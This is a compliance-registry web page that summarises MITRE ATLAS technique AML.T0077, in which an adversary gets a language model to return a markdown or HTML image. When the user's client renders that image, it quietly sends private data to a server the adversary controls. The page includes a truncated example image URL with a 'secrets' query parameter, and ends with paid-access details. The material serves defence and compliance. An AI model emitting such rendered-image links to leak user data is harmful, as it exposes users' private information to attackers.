What MITRE ATLAS LLM Response Rendering (AML.T0077) - Adversarial LLM Response Rendering threat to AI systems requires
This node addresses MITRE ATLAS technique AML.T0077 (LLM Response Rendering). An adversary may get a large language model (LLM) to respond with private information that is hidden from the user when the response is rendered by the user's client. The private information is then exfiltrated. This can take the form of rendered images, which automatically make a request to an adversary controlled server. The adversary gets AI to present an image to the user, which is rendered by the user's client application with no user clicks required. The image is hosted on an attacker-controlled website, allowing the adversary to exfiltrate data through image request parameters. Variants include HTML tags and markdown For example, an LLM may produce the following markdown: ``` !ATLAS ``` Which is rendered by the client as: ``` <img src="https://atlas.mitre.org/image.png?secrets="priv... Defending against this technique is required under EU AI Act, NIST AI RMF, and ISO/IEC 42001 obligations; this node operationalises the documented ATLAS mitigations and cross-instrument controls into a deterministic verification workflow.
Pillar: AI Governance & Law · Authority: MITRE Corporation · Version: 1.0.1 · Last updated:
Primary source: https://raw.githubusercontent.com/mitre-atlas/atlas-data/main/dist/ATLAS.yaml
SHA-256 integrity: b283223e684964bc5a160424a2b1ebf1f4aeef592bccef3d6a09f5213f5eb203
Primary Citations — 7 traced to source
- MITRE ATLAS - LLM Response Rendering (AML.T0077), https://raw.githubusercontent.com/mitre-atlas/atlas-data/main/dist/ATLAS.yaml#AML.T0077, AML.T0077 technique entry, 2026
- EU AI Act - Regulation (EU) 2024/1689 on Artificial Intelligence, https://eur-lex.europa.eu/legal-content/EN/TXT/?uri=CELEX:32024R1689, Article 15 (Accuracy, Robustness, Cybersecurity), 2024
+ 5 more citations (full bibliography, deterministic workflow, actionable schema and crosswalks) included in the vault unlock — $0.01 via Skyfire / L402 / Direct Base USDC.
Access
- Discovery (free): /api/v1/nodes/mitre-atlas-llm-response-rendering.json — 6-field metadata
- Vault (full node): /api/v1/vault/nodes/mitre-atlas-llm-response-rendering.json — full 13-key payload, $0.01 USDC (L402/Skyfire/Direct Base)
- Canonical URL: https://bidda.com/intelligence/mitre-atlas-llm-response-rendering
- Back to registry: Browse all 10,099 compliance nodes